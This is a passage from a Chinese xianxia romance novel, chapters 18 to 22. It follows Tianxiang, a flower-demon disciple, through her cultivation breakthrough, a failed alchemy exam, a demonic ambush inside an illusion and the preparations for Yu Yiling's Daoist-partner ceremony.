天香偷听着他们的对话,竟有些魂不守舍的,沉默许久。听闻天资相仿的人结为道侣可在修炼上一日千里。如今更有稀有经卷助力,二人便可远踏修途,从今往后是两个世界,离她不知几何远。
孙昭顿了顿,眼中闪过一丝茫然,神色略有黯然,沉默半晌,却还是柔声道:“既然如此,便等我痊愈,你要准备考核内容,我们可以改日再叙。”
却见他没有走的意思,她等了片刻,只见游奕陵不知盯着什么微微出神,唇角竟有丝若有若无的笑意,再一看时已隐去了。
天香从初见他二人心中难捱,到如今已是被刺眼日光晒得头晕目眩,只想快点离去。彼岸花喜阴,如今她在此处呆了不知多久,已是微微发蔫,一分一秒都过得无比煎熬。
听闻“改日再叙”这几个字她简直如蒙大赦,只道终于能离开此处。
他却神色淡然,漫不经心道:“不必这么急。”
孙昭忽的面色一红,垂眸露出一个笑,不知为何竟有些柔情蜜意,“你的意思,是再与我一同呆一会。”
游奕陵撇开眼,长睫微垂,眸色略有深意,竟在石凳闲坐了下来,一腿支起,“嗯。”
天香只觉气血翻涌,脑中昏昏沉沉,差点气晕过去。早知如此她死也不会来此处感悟化形,现在这两人交谈甚欢,她竟是无法离去。
难道,只能当面化形?不行,这样会暴露她是妖修的事,游奕陵会毫不犹豫拔剑,她就只能一命呜呼。
孙昭也顺势坐下,仪态温柔沉静,一张白皙的脸蛋微红,“你在修道上颇有造诣,日后我若
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叩关,还需你点拨一二。”
游奕陵竟微微勾了勾唇,“你天资聪颖,不需点拨,循序渐进便可修炼的好。”
他向来面无表情,此时唇边一丝笑意,竟显得绝丽非常,天香不由得微微一怔。可惜顾不得其他,她修为尚浅,于此地伫立半个时辰已至极限,若是再这样,她便会当场晕过去。
孙昭抬起头望向他,面容温柔解意,轻声道:“你过奖了。”
他忽的站起身,没有再说什么,慢慢独自走至角亭一旁的树林。
天香忙收回思绪,打起精神,定定的看着他靠的越来越近,心中直呼完蛋。他似笑非笑的看着那株彼岸花,神情却是带一丝温和。
孙昭没想他突然起身,忙跟了过来,这时她才注意到那株彼岸花,觉得有些怪异。她眉头微蹙,手中运决,正想出手采撷一探究竟。
却见游奕陵凭空召出一幅空白画轴,徐徐展开,一道白光显现,那朵彼岸花被卷入其中,画中一闪而过,卷面已多出一道芳花之影。
这是储物画轴,乃是高阶灵器,可以储存一切花草树木生机之物,进入此画轴便可吸收天地灵气恢复元气,逐渐复原生机。丹修弟子通常对炼丹材料颇有要求,自然越富有生机越好,所以是一件丹修不可多得的宝物。
孙昭眼中闪过一丝惊讶,不解道:“方才那是?我瞧着有些像妖物。”
游奕陵淡淡看她一眼,将画轴收起,神色与寻常别无二致,“这是茑火,不可多得的制丹材料,我恰好有一味丹药需要,便先收下了。”
他随口一诌,孙昭却心头一凛,只觉他面上又展现出冷漠的气质,似是拒人于千里之外,也不知为何,只得道:“好,你拿去便是。”
“就此别过。”他轻一颔首,不愿多说。轻轻摩挲了一下画轴,转身便离去,眨眼功夫已是不见身影。
孙昭神色露出一丝失望,但一想到他可能是急于制丹,合情合理,便压抑下情绪,只是怔怔望着远处出神。
入了画轴禁制后,天香已是精疲力尽。全身像是被温暖的灵力包裹,呼吸间都透着通明,隐隐有白雾散发柔和的光芒,悄然无声。
直到后来她感到体内像通入一股真气,在四肢百骸游走了一遍,又沉入丹田,化散不见。加上之前感悟天地所得,心境更加沉稳。
她隐约看见那白光愈发刺眼,但睁开眼又什么都看不清,到最后白光愈演愈烈,直至布满整个世界。
白芒闪现,她自画卷之上跃然而出,才发觉已至引气境。
她正在游奕陵屋内,抬眼便看见他。天香来不及欣喜,登时大惊,不由得脸色苍白,后退半步。
他仍是一幅冷淡面孔,玉白面容,长眸微垂,“你步入引气境了。”
天香闻言一怔,心中有些激动,本想多说几句,一想到他与孙昭的事,便兴致索然,只是张了张口,什么也没说,“谢谢。”
游奕陵淡淡扫她一眼,收起空白画轴,径自推开门离去。
天香低着头,也没再追出去,如今境地,他二人还是少说话为妙。她暗骂自己真是哪根筋搭错,说好的离开天璇宗,如今竟萌生一丝悔改之意。
一定是他助她引气,若是直接离开,未免显得她太过绝情。这样想着,心中才好受些。
19. 第 19 章
初涉引气境后,天香就炼制了几炉丹药,色泽成品说不上绝顶,却也是中规中矩,没出其他纰漏。
几日下来,她也渐渐想通了。孙昭也想要和游奕陵结为道侣。也对,二人确实般配。她比不上孙昭,其实心里清楚。
结道侣通常都是两位境界相似的人,强求不得。她与他也不过是遇上的事多些罢了,没什么特别。况且他的性子冷情,向来如此。想着她也清醒了许多,将精力投入到精进丹术上去。
将来她若是离了天璇宗,回转轮城也可以去卖丹药,又多了一项营生技能。
又过几日,孙昭的剑伤已痊愈。这天,天璇宗主峰大殿上,众弟子聚集一片,嵩山道长也到场了,准备传授《阴水录》于天璇宗。
游奕陵站在云天真人身后,一身干净的弟子白衫,发丝束在玉冠中,露出白皙端丽一张面容,长眉斜飞入鬓,微微蹙着眉头,神色淡淡。
天香则混在弟子群中,由于个子不高,被遮了个严实。好在她对几人的聊天不感兴趣,也不懂什么经书符箓,只想着考完事后何时离开天璇宗。
云天真人面色十分欢喜,眼中满是期待,“《阴水录》乃是绝佳的丹道经书,也是弥恒派当世绝学,弥恒派竟愿慷慨相授,天璇宗感激不尽!”
嵩山道长一听,不由得微笑,“贵宗出手相救于我徒儿,贫道还未曾感谢。再者,这也是昭儿的意愿,吾将赠《阴水录》与天璇宗。”
他伸手打出了四道屏障,隔绝外界,自储物戒中拿出一卷通透发光的玉简,浮在半空中。
云天真人惊喜的看到玉简上的文字,那些文字幻化成白芒,散在空中。他一听,便知是无上水炼丹法,当下闭上双眼,展开神识记忆,只需一遍,就已烂熟于心。
“《阴水录》已全部传授完毕,我等要回弥恒派了,今日便先行告辞。”嵩山道长微微颔首,伸手一挥,四周的屏障即刻撤去。
“且慢。”云天真人见嵩山道长与孙昭就要离去,忽的想起了什么,忍不住出言阻拦。
“真人还有何事?”孙昭笑着问道。
“今日,正是我天璇宗外门弟子的年度考核之日。为得是从外门中筛选晋级内门弟子,望各位准备充分,表现出众,给我天璇宗带来新的契机。”云天真人借机对着大殿宣布,虽然声音不大,却字字清晰的传入众人耳中。
接着他转过头,露出一个温和的笑,继续说道:“嵩山道长,本座想请孙昭一同参与监督外门弟子考核,不知可否同意?”
嵩山道长哈哈一笑,“好,昭儿的伤也已痊愈,便听从她的意思吧。”
孙昭不知为何楞了一愣,想到外门弟子考核是游奕陵负责的,此番是让她协助他一起。她看游奕陵一眼,见他只是面色淡淡,眸中若有所思。
她芙面微红,又很快散去,掩去神色,再抬眼时仍是一幅温柔的样子,轻声道:“自然是可以。”
接着,云天真人面色爽朗,也不多废话,号令众人来到殿外,所有考核丹炉用具都已准备完毕,宣布道:“下面,考核开始。”
人群哗啦一下子分成几波,各自开始现场借炉炼丹,还没有轮到的弟子便在一旁安静等待。
考核的项目是炼制大通丸,这是一种入门级丹药,可以强健修士筋骨。
天香忐忑的站在等待的弟子行列里,只见一众外门弟子炼丹,虽炼不出成色上品的丹药,却是个个有模有样。
当世丹道并不出色,即使是天璇宗这般丹宗魁首,考核场地上也仅几只凡品丹炉。
且外门弟子大多法力不够深厚,还无法释放出稳定的灵火,故云天真人施法召来一道熊熊地火,弟子皆可取用。
根据弟子的修为高低,控火能力,可以炼出不同层级的丹药。考核结果,便由门内长者,看诸位弟子炼出丹药的色泽品项层级来决定。
若是成功便晋升为内门弟子,反之则只能继续当外门弟子。
场地上,不少弟子正在炉前奋力控火,她只看见众人口念仙诀,那炉中火明灭的更彻底,颤抖的也更频繁。
眼看一批批弟子考核结束,很快到了天香。
但她炼丹技术堪堪又未曾勤加练习,如何能练出色泽成效上品的丹药?好在她已至引气境,也可释放出带有法力的炉火,来增加药效。
天香控制着那炉火,眼看火侯过高,药材就要煮沸过度,在这样下去,丹药效果便会减弱甚至失效,她急忙收了一些回去。
谁知她不过刚引气境,对妖息的把握不够纯熟,火侯收的太低了些,最终一颗完整的大通丸出现在炉中,但因火力不足,没有将药材效果充分激发出来,只是枚中品丹药。
可惜大通丸只是炼丹术最入门的产物,即便大部分外门弟子,也可以炼制出上品,少数炼制出绝品,故天香的表现并不出色。
游奕陵缓缓走近,宣布她的考核结果,他虽英俊,却是个冰山美人,眼中不掩冷淡,长眸冷冽,又鲜少笑,旁人看了只想离的远远的。
“资质平庸,丹术低微,不思进取,辱没我天璇名声,考核失败。”游奕陵扫一眼那枚中品大通丸,神色淡淡道。
失败也就算了,她忽的被说一句,没由的心头火起,只觉牙根痒痒:“我知你瞧我不起,我还不想呆天璇宗呢,你倒是送我回魔界啊。”
他却只是看她一眼,面色无波,仍是一副不动如山的神色,好像半点情绪也无。
“你说话啊,怎么不理人。”
天香生着闷气,又激他几句,他仿佛没听到一般,转身便去宣布下一位弟子的考核结果了。
再看远处孙昭面上笑意盈盈,指尖凝火,轻轻拂过炉前,正教导弟子如何运用合适火侯炼化出药草全部效力。
“待青羽草尖部微微泛红之时,收神,行三周天运转凝灵火灼其根部,直至通草泛红化灰,这样炼制的大通丸至少有上品。”她手一抬,那株青羽草顷刻化灰。
整座炉中顿时清香气扑鼻,闻之静心。
“受教了。”那弟子一副恍然大悟的样子,又忍不住看孙昭一眼,只觉的这位弥恒派师姐温婉如玉,气质非凡,对丹术更是颇有研究。
孙昭精通丹术,又为人和善,天璇
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宗弟子们都很喜欢她,天香见了,又不再说话,面色一黯,微微出神。
她到底与孙昭资质相差甚远,况且她是妖族,总是要离开这里的。罢了,他怎么想也与她无关,反正日后二人也没什么交集。
眼看考核结束,这批外门弟子中选出了十余人可晋升至内门,云天真人正打算当场宣布。
倏忽间,却见一阵狂风吹过,风势太大,地上丹炉都倾覆了一只。
地上除了赤砂还残余着几粒丹药,树丛摇晃,流云翻滚,众弟子当场戒备,正不知发生了什么。
云天真人面色一变,大声道:“好重的邪气,有魔修!所有弟子小心。”
天香心底一骇,退后几步。孙昭结起一个巨大的防护罩,自带白光,容纳进不少弟子。
游奕陵则将天生罡气外放,形成一个透明坚硬的护罩,一手持剑而上,向狂风原始处飞去。
又一阵狂风袭来,云天真人布阵法护弟子。天香法力低微,靠自身抵挡不住,大惊失色,正要往阵中避难,那道狂风却偏阻她道路,好像有了生命一般。
她便觉一股大风刮来面前,站立不稳,登时滚落不知何处,也忘了外放妖气护体,摔的鼻青脸肿,晕了过去。
渐渐的,魔息凝结成一道屏障幻境。
嵩山道长与云天真人正聚于此,将弟子护于身后,奋力破除魔障,二人皆面色凝重。
“今日我两派掌门人皆聚于此,魔修还敢来犯,不免太过猖狂!”嵩山道长怒形于色。
云天真人凝罡气也刃,仍是破不开那迷雾幻境,“众弟子中唯有奕陵、天香消失不见,不知那魔修打了什么主意。”
“我用神识探查过了,这两名弟子是被隔绝进魔息幻境内了,不在别处。”
“我等速速破除此幻境!”云天真人眼中露一丝焦急。
魔息萦绕,直冲云天。更有修为低的弟子,已遭受侵蚀晕了过去,或是还在勉力抵抗,但也撑不了多久。
“师父,我先将这些天璇弟子疏散离开此地。”孙昭禀告一声,不敢耽搁,便带着众弟子离去。
云天真人则与嵩山道长对视片刻,点了点头,不敢大意,一齐施法向屏障弱点攻去。
幻境内,天香醒过来,她顾不得身上疼痛,只想快些离开此是非之地,连忙起身,却见自己身处一个陌生的环境,四周被黑雾笼罩。
身后肃杀之气扑面,她转头望去,竟是一惊。
余信不知为何再度出现,此刻静静站在原地,手凝魔息黑雾,似是有话要说。
而他对面,站着一人,一袭白衣弟子服,头束明玉冠,长眸冷冽,面色沉沉,右手长剑拖地,泛着幽幽寒光,正是游奕陵。
“只有一人,你还敢来。”游奕陵眼中杀意必现。
余信并不恼怒,眼中几分猖狂,反而笑道:“便是天璇宗掌门人,我也不放在眼里。”
天香微微一愣,而后反应过来,余信又杀上天璇宗来,只是自己颇有些倒霉,也被这狂风卷了进来。
游奕陵眼中露出一丝不屑,“那就试一试。”
20. 第 20 章
若是单打独斗,游奕陵不敌余信,但如今师父与弥恒派掌门都在场,众人一起上,只要破除幻境,就有机会。
余信挥舞魔息攻来,他却侧身避开,意在攻击幻境护罩。余信招招刁钻,似要一招将他毙命。奈何他多次躲过,似乎都就差一点点。
一团黑雾中,他罡气化剑的白芒虽不曾黯淡半分,却也无法突破而出,一时僵持。
游奕陵眸色一沉,面容冰铸,依旧是冷峻的眉眼,白衣被剑气吹动而起,黑发若流缎束在冠中,单手持剑施法。
剑锋便执着着攻击着面前的魔障,只是那障雾似极难缠斗,当剑光逼近,便向后退去,剑光一敛,就再次涌上前来。
眼看破除不了迷障,游奕陵又得先应付余信。光剑飞纵而起,锋利的剑锋有清脆破空声,剑气凌冽,锐利如天外惊雷,入云破霄。
余信的身影自原地消失,四周黑雾上前淹没他的身形,又在不远处重新聚集,待雾气散去他便在其中显现。几番下来,游奕陵近不了他身,反自己挂伤。
天香眼看二人缠斗,知此刻应先脱困,否则她今日也得折在这。
趁着他二人斗法,她便触摸上那团黑雾屏障,寻找破绽攻出。
半晌后,当真让她在其中一处找到了薄弱点,只要在此处集中猛攻,与外部掌门等人里应外合便有机会突破。
天香催动妖息,尝试攻击那处,趁着他二人相斗,她争分夺秒破开幻境。
游奕陵丢出一道符纸,符火燃尽,顺着咒法扩大数倍,幻化成几座五丈高的金甲神人,挡住了黑雾幻化的去路。
余信冷哼一声,便不再闪躲,挥出一道魔息避开前方金甲神人,而后凝聚一道魔气为盘蛇状自行与甲人缠斗,自身则化气为刃向游奕陵袭来。
这张金甲幻化符是师父给予的上品密符,原以为就算不能突破幻境,也足够纠缠余信片刻,让他有破开迷雾的时间,谁知对方不愧是藏胎境以上魔修,竟牵制他不得。
游奕陵一边闪躲招式,边凝出几口光剑反击。他不由得面色一变,眸光微暗。符咒就算再强,他身上也就剩余几张,这样下去……
当金甲神人的生机渐渐变淡,金光黯淡下去时。
那条魔息凝成的盘蛇看准时机,一跃而上,盘踞在甲人脖颈处,骤然收紧。
甲人先是攻击盘蛇,谁知蛇太灵活,他几次扑空,最终甲人力竭,挥舞四肢,挣扎片刻不得,最终轰然倒下,化为灰烬。
远处,天香使出浑身解数,攻击那处破绽,好在余信太过轻敌,并未搭理她,竟让她钻了空子。又过片刻,那处迷障逐渐变淡,眼看就要攻破。
她朝着外部大喊,“有人吗!此处有破绽,来人与我协力攻击里外突破。”
余信顿时脸色一紧,没想到他未曾注意,意外卷进来的小花妖却险些坏了大事。他朝着那处挥出一道掌风,她毕竟已经引气,五感敏锐提升,已知晓杀机避开。
但她侧身避开,动作却是慢了半分,那掌风凌烈至极,沿途将黑雾也击散,破空有尖锐声响,飞速向她袭来。
天香一阵茫然,脚步一乱,跌坐在地上。掌风已至身前,不由得吓得闭上双眼,她等待的一刻却迟迟没有到来,身上也无其他痛感。
睁眼一看,原是游奕陵一手揽住她退后几步,另一只手施法攻去,挡开了那道掌风。
游奕陵转身,一改往日冷淡之色,眉心微簇,长眸幽幽深暗,似乎已压抑着怒意,“你今日别想离开。”
“哼,你们所有人都不是我对手。”却见余信笑了笑,反而不再迟疑,节节猛攻,巨大的魔息冲的游奕陵只得放下天香,屡屡退后。
余信冷冷道:“你只有两个选择,要么一个人死,要么带她一起死。”
游奕陵又是几道光剑飞去,身上符纸已然所剩无几,不可再拖,转身便向迷雾薄弱点攻去。
余信闪身避开,面孔微微扭曲,不再拖延,掌心空凝,指向游奕陵,只见一道附着符纹的黑雾疾光朝他而去。
若是有藏胎境修士中了此剑,也要去掉半条命,何况对面二人的修为都没有到这个地步。
天香还待掌门等人进来救他们,却已是来不及,不由得指尖微颤,这招若避不开,他二人都得死。
游奕陵眸色沉沉,此招虽凶险万分,也不难破解,这是魔息凝针法,那道黑雾凝炼无比,故威力巨大。
若要破解,则需要借化剑符,召来数把剑逐渐削力,将这道黑雾打散,后方则凝结剑气为盾,做防御状,最终挡下化散雾气。
可惜他身上虽还有几张符纸,却没了丹砂,情急之下,他咬破指尖,用血随手画了一道符。血符瞬间化为一道红色邪光,召剑而来。
情急之下,丹砂已经用尽,顾不得许多,只能先借血画符。
世间除了符修用符咒外,其他修士偶尔也会用。只是通常不得技巧精髓,威力不如符修使用的大。
然而,寻常符咒都是以丹砂来画,若以鲜血为引,引动天地之玄机,颠倒山河万物,符咒威力便能扩大数百倍,即使是寻常人,也能让修为高深者不敢大意。
但以血画符,凝聚修士的精气,若有偏差,轻则重伤,重则丧命,因此血画符很少见人使用,大多只是被逼上绝路之举。
然而此刻,游奕陵别无他法,只能以血画符召开几口红光飞剑,挡开这道黑雾。
余信侧身堪堪避开,掌风呼啸,黑雾团聚,将红光飞剑都击散,眼中似有讶异,这个人族怎会血画符?
游奕陵却并不理会于他,神色冷冷。顺势召唤那几口红光飞剑继续向着他攻而去。
正当余信想继续阻拦,却见一人忽的出现在他身后,居然是一名碧岚宫弟子。
弟子跪下,“宫主大人,赤地长老将昆仑雪从浮华幻境中取了出来。”
他正微微一怔,没反应过来,昆仑雪不是被他亲手放入浮华幻境的
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吗?怎么会被赤地取出来。想必赤地是想夺剑篡位,他眼中即刻怒意难掩盖。
本来距离杀掉这个人族就一步之遥,又突生变故。
“到底怎么回事!”
那弟子被迁怒,有些不敢说,支支吾吾,正欲解释,却见赤地长老竟然出现在他面前。
“怎么,我只是替宫主大人送剑,昆仑雪自浮华幻境中脱出,若是被其他人夺去可就糟了。”赤地双手献上昆仑雪,面带笑意。
余信眉头深蹙,此剑分明被他放于浮华幻镜之中,如何会平白无故脱出。想必多半是赤地千里搞得鬼,已经迫不及待想夺剑篡位了。
奈何弟子先一步将此事通报于他,赤地这厮只得委曲求全先把剑奉上,否则就要正面撕破脸。
余信一言不发,气氛凝重之时,赤地忽的瞥见了地上那张血画符。
昆仑雪认主,想必是受此符召唤而来,不受余信控制,自行从幻镜中脱出了。如此说来,那个年轻人......
天香此刻也是呆愣在原地,不知发生了什么,但见忽的出现两名碧岚宫的人,又见其中一人盯着游奕陵丢出的血画符看。
他略一施法,那张符纸便化为灰烬。
赤地兀自出神,想起传闻血画符牵动天地,符咒威力扩大数倍,自然会不远万里召来本命佩剑。难道他的本命佩剑是……
只要能操控昆仑雪,无论实力如何,对余信都是莫大威胁,难怪他一心除掉此人。
此刻余信正是眸光莫测,本想将游奕陵一剑杀了,可惜忽的出现变故,本以为是赤地夺剑,谁知此人又突然带着诚意将剑献给他。余信眉头一皱,此举假惺惺,不知有何意图。
他本想探究方才游奕陵使用血画符,画的究竟是何种符咒,却发现符纸已不见,在打斗中烧灼成灰。
昆仑雪释放剑气,四周都被极寒笼罩。
剑身尽是流光,暗纹尽显,相隔甚远已有极寒之气扑面而来,只让人觉得置身寒冬腊月。
天香心中惊讶了一会,便挨不住身上的寒冻,觉得好冷,忍不住跺脚,哈气在掌心一边搓手生热,“这也太冷了!再呆一会我就要冻死了。”
她伸出手心放于空中,似懂非懂的听他们对话。感受着掌心不断吹过的极寒剑风,微微出神。
天香只觉得这把剑也太吓人了,还没正式交锋,便要被剑气冻死了。
她倒吸一口气,将掌心收回。不过片刻,就面色发白的浑身发起抖来,她不过引气境,自然抵挡不了昆仑雪的风寒。
但即便冻的手僵,她也从未停下。趁他二人对话,摸索到黑雾的薄弱处,继续施法突破,只求快点逃离此地。
游奕陵暗中辅以施法,几番周折,他们终于劈开了幻境。
黑雾消散,云天真人等人奋力攻入,罡气化白剑飞袭而来,碧岚宫等人只得先行离去。余信接过昆仑雪,面色看不出情绪,转头对游奕陵低声道:“算你走运。”
21. 第 21 章
“奕陵,天香!你二人有没有受伤?”孙昭面色焦急,安置完弟子便回到此地,与众人一齐攻破了幻境。
云天真人眼见他逃往魔界,施法布阵正要追去,“哼,这魔修跑的倒挺快。”
他正要离开,却被嵩山道长拦下,“云天真人,如今魔界局势混乱,既然没有弟子受伤,还是勿以身犯险。”
云天真人也不是冲动之人,愤愤收起阵法,点了点头。
众弟子虽无人重伤,但方才的邪风来的太过突然,几名境界薄弱的弟子被伤到晕了过去,身上几处轻伤,休养几天便好。
嵩山道长叹一口气,沉吟半晌,“听闻魔族正在为夺权而动荡,各方势力涌动。近来屡犯人界,或许是为了掠夺资源。”
前几日在拍卖市集上开始,直至今日,魔修已出现数次,且次次搅得大家不得安宁。
“可是我天璇不过百年小派,稍有崛起的苗头。单为了灵石仙草,为何不去找傲立数万年的天剑门?”云天真人脸上闪过一丝疑惑。
谈及此事,他顺势向游奕陵问道:“奕陵,这魔修境界颇高,难以看透。哪怕与我、嵩山二人同时对战也不落下风,为何将你与天香抓去,此刻又独自离去?”
游奕陵若有所思的望着远处,沉默片刻,神色淡淡,“回师父,弟子不知。”
“那魔修可有说些什么?”
天香想起方才幻境中经历的事,只觉游奕陵的身份恐怕没那么简单,为何余信三番五次要杀他,但转念一想,他的事又与她有何想干?
就算需要帮助,也轮不到她出手,孙昭姐身手境界皆高于她,想必应付碧岚宫那帮人更得心应手。
既然考核已经结束,她就要离开天璇宗了。天香垂眸,一言不发,有些落寞。
其实她对这里也没有多讨厌,这里有平淡且日复一日的月落日升,云聚云散,倒也安稳。只是她就要离开,终究不属于这里。
“碧岚宫主想利用我帮他夺取天璇宗的灵丹宝器,我拒绝,他便要杀人灭口。他境界颇深,我堪堪躲过招式。好在天香联合外力,将幻境及时破除,碧岚宫只得离去。”
嵩山道长摇头,“唉,果然是盯上了我丹宗小派,资源虽少,却也无镇门高手,他一人便可应付。”
云天真人面色凝重,只觉十分不妙,眉头深皱,“魔修太过嚣张,丹宗在人界势单力薄,虽可求助修盟之首天剑门,但求人低头三分,却也不是长久之计啊!”
“嗯,既如此,择日便举办昭儿与奕陵的道侣大典。你我两派联合御敌,壮大丹修符道,万不可让基业断送你我之手。”
云天真人目光深远,转头看向游奕陵与孙昭,“言之有理,此事便定于天璇宗三日后举办,届时通知各派,昭告修盟。你二人觉得如何?”
孙昭雪腮微红,眉目间无限柔情,"弟子无异议。"
游奕陵也神色淡淡,长眸沉沉,并未作声。
天香默默站在一旁,垂下头去,不知思索什么。只觉指尖寒凉,心中千头万绪,可众人都在,不好径自离去,只得静静望着地面,怔怔出神。
她明明初涉引气境,却不知为何,近来心性相较以前还愈发不稳,云天真人稍几句便激得她心绪起伏,难以平静。
本想让自己不介意此事,可到底越是不想,就越在意,越陷越深,心中也干涩得说不出一句话。
她轻叹一口气,这般下去,只怕自己困于此事,境界也别想再有提升。
好不容易掌握一些修炼窍门,如今却心性不稳,万事都进行不下去。莫名有些心灰意懒,还是早日离开此处为妙。
游奕陵见她神色,忽然开口道:“你怎么了?为何还愣在原地。”
原来是云天真人一众行人早已离去,原地交由弟子洒扫,而她仍呆愣在原地,挡了弟子的道。
“对不起,是我走神了。”天香忙面带歉意的说道。
两日如淌水而过,天香又是一夜无眠,独醒到天亮。
明明已至辰时,天光却灰蒙蒙,透着窗户微微感到初晨的凉意。
天香推开门,起身一看,原来是天边下起了细雨。遮云蔽日,山门葱郁似笼在一层纱中,雨雾氤氲,平添朦胧。
她仍是披一件外门弟子常服去丹房,就像来时一般。
守炉弟子们无事闲谈的也不过那件事,明日便是举办道侣大典的日子,云天真人已将此事千里传音告知修盟。
短短几日,此事便已传遍修盟各派,天剑门一方显赫盟首虽告知有事不便前来,却也送上祝福,赠与不少灵石大礼。
其中还有一柄名剑清梦,当年天机阁内有人万两灵石求购不得,今日作礼赠出,不愧是修盟之首,出手大气。
再说那弥恒派颇有诚意,将镇宗之宝《阴水录》赠予,这水炼丹法世间罕有,乃是丹修无上绝学。
二人又皆为资质上乘,郎才女貌,天赋无限,实为般配。
弟子津津乐道,天香只是默默听着,也不搭话,如往常一般。待守炉结束,她便回通铺上收拾起行李。
算起来,距她来天璇宗,已过去两月有余,来时还是夏日,如今已至中秋,天泛凉意。
明日她便要离开这里,回往魔界,只需像上回一般,寻秘点回去即可。这次她再三查验,不会似从前再误入陷阱。
她一边收拾,一边出神,却发现自己在此地生活不过月余,也没几件行李,三两下便收拾好了。
一同守丹房的女弟子见她收拾起东西,疑惑道:“天香,你在干嘛?”
“我明日离开天璇宗,收拾行李,不好意思打扰到你,很快便好。”天香笑了笑,也不打算隐瞒,手中却并不停下,只抬头回道。
女弟子点了点头,“嗯,你未通过考核,外门弟子离开门派也不稀奇,但为何明日就走?”
那女弟子似是想通了什么,恍然大悟,忽的会心一笑,继续道:“我知道了,你一定是舍不得游师兄结新道侣,这才想离去。”
天香手中动作一顿,明知对方只是调笑,她也强扯嘴角,只是摇摇头,并未答话。
她转头向外看去,窗外细雨夹风,拍打在窗楣上,淡淡化开一抹轻愁。这般景色天气,除了带些凉意,与初来时的感觉也没什么不同。
天香忽的想起她是被余信所骗而来,本来以为误会解开她就能离去,谁知中间总有事情耽搁,逗留到如今。
早知如此,她是死也不来天璇宗掺和这一出。她摇摇头,收敛思绪,手上继续
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收拾行李。
“我只是不想呆了。”天香垂下头,淡淡道。
那女弟子见她情绪低落,正想出言安慰。却见天香掌心一枚漆黑的丹药,看着像是失败品,既没有掌握火候,也没有充分发挥药效,不知留着作甚。
以前她不知如何突破修为,那日阴差阳错进他的灵器画轴中才突破的引气,当时便领悟了那张纸上的文字,炼了几枚驻颜丹。
可惜毕竟境界限制,炼不出成品驻颜丹,残次品倒是有一堆,这是其中最好的一枚。她留了下来,不过这终究不是成品丹药,没什么药效,只能做个纪念。
她盯着这枚丹药恍然出神。日后,她不会再来人界了。
他们因驻颜丹相识,天香便将它放进包袱,决定明日送给游奕陵,正式做个道别。
那女弟子不解道:“只是一枚残品丹药,为何还留着呢?”
天香将包袱打上结,只是低头不说话。
女弟子沉思片刻,见她心中难过,还将残品丹药留下,以为她是难过自己境界低微,练不出成品丹药。不比孙昭师姐,更配不上游师兄。
女弟子不忍看她,将储物袋打开,拿出一样东西交给天香。
“别难过了,这是玲珑盒。那日我下山采买药材,碰巧遇见修士售卖得来的,你打开这个,用里面存放的法力突破引气不成问题,说不定就可以炼出成品驻颜丹了。”她柔声道。
天香微微一怔,连忙拒绝道:“这么贵重的东西......你自己也能用,我不能收下。”
女弟子笑道:“你忘了,上次的外门弟子考核我已经通过,如今已是内门弟子,初涉引气境了,玲珑盒只对未入门的弟子有用,听说你没有引气,给你正是合适。”
天香微微滞住,原来是她还不知自己已引气,不过,此事她确实未与旁人说道。
天香绽出一个微笑,眼中闪过一丝感动,却只得拒绝“你将这般宝物赠与我,自当感激不尽,可惜你有所不知,其实我早已......”
女弟子竟然十分主动的将盒子放在她手心,“天香,你莫要推脱了,大家相识一场,如今你就要离开,朋友之间送个饯别礼都不行吗?”
天香再度推脱,她却不肯听她解释。被她这样一说,天香反而无法拒绝,只得无奈收下。
天香依言接过玲珑盒,只见淡黄色的荧光下,木盒上纹理细腻光润,雕花精美,只是接过便灵息四溢,空中还有淡淡芳香。
女弟子说的没错,这确实是玲珑盒,不可多得的宝物。
天香将它放进包袱中,仍不住面露欣喜,褪去愁颜。那女弟子见她终于不再难过,放下心来,便告辞离去,准备参与午课了。
只是那女弟子离去后,沿着山门明明是前往主峰,却走了另一条小道,至僻静处,摇身一变褪去伪装。变成了一名魔修,即刻下跪道:“代宫主大人,玲珑盒已给她。”
见事情已办成,余信点了点头。
望着远处,他心中暗想,三番五次被阻挠无法达成目的。既然他难办这件事,不如就从亲近的人下手,这只花妖和人族男子很熟悉,借她之手,便减少了怀疑。
就算这次被他识破,还是不成功,他也准备了后手,绝不会再失败。
22. 第 22 章
碧岚宫中已是亥时,月至中宵,窗外能看见碧花沐浴在月色下,静谧幽丽,可惜夜有点冷,除去明月只剩满庭风凉。
夜深人静,赤地对面站着千里,二位宫中长老正探讨要事。
“你的意思是,献宝宴上清晰看到是那人族操控起了昆仑雪?”赤地先行开口问道。
千里点了点头,夜色下几乎快看不清他的动作。
赤地眸光一沉,正色道:“那一日,到底发生了什么?”
千里顿了顿,才缓缓道:“那日我在宫中巡查各司,忽的感到一股强大法息震动从烟启阁传来,便来到那里一探究竟。”
“难怪,因为那日昆仑雪自浮华幻镜破出,所以造成了魔息波动。”赤地站在月光投射进屋的窗前。
“嗯,我快速赶到那里,将弟子屏退,进入烟启阁,只见昆仑雪浮空于镜面上。”千里的声音低沉。
赤地嘶了一声,“昆仑雪仅受剑主操控,更何况那日余信甚至不在宫中......”
“如今碧岚宫到处都是余信那厮的眼线,盯着我们的魔修太多,不容乐观。”他脸上露出忧虑之色。
二人沉默许久,千里看着窗外,转回话题,“你也觉得那个人族有问题?”
赤地偏过头看他,“嗯,说起来,血符箓也极少有修士使用,想必不是天璇宗主那个老头教他的。那日我去找余信,瞥见那个年轻人用了召唤武器的血符箓。”
千里望着中庭碧花,沉吟半晌,“......不如,你我兄弟二人,同舍命赌一场如何?”
庭中碧花被微风吹得轻轻摇摆,风灌进屋子有些泛冷意。
“太危险。”赤地摇了摇头,眼中闪过一丝犹豫。
他顿了顿,又道:“况且,还不能确定那个人族身份。”
沉默片刻,千里才继续道:“其实不必太过担忧,余信本就想除去你我二人,若不下手,死的就是我们,索性将计就计,他不会怀疑。”
赤地陷入沉思,而后缓缓点头,“嗯,既然如此,也别无他法,便试一试.....”
天璇宗,翌日却是不再下雨,天公作美,风光大好。
山门俊秀,修竹成林,白鹤逡巡,云雾缭绕,天璇宗主峰大殿前更是热闹非凡。
天璇宗与弥恒派弟子无数,站立左右两侧成行,一左一右各是两派长老,往中则是掌教嵩山道长和云天真人,再前便是游奕陵、孙昭二人,远处还有一些无相山脚受宗门照拂的寻常百姓徒步上山前来相贺。
碰巧的是,除了游奕陵,孙昭也是嵩山道长捡来的孤女,无凡尘牵绊。既然如此,二位师长说的话便如同父母之命了。
天香背着个灰布包,一路避开众人沿着石阶上山。一路有人偶尔相互道喜,她也只是敷衍回应,好在她朋友不多,与她打招呼的也没几个。
来时一身轻,走了也是一样。
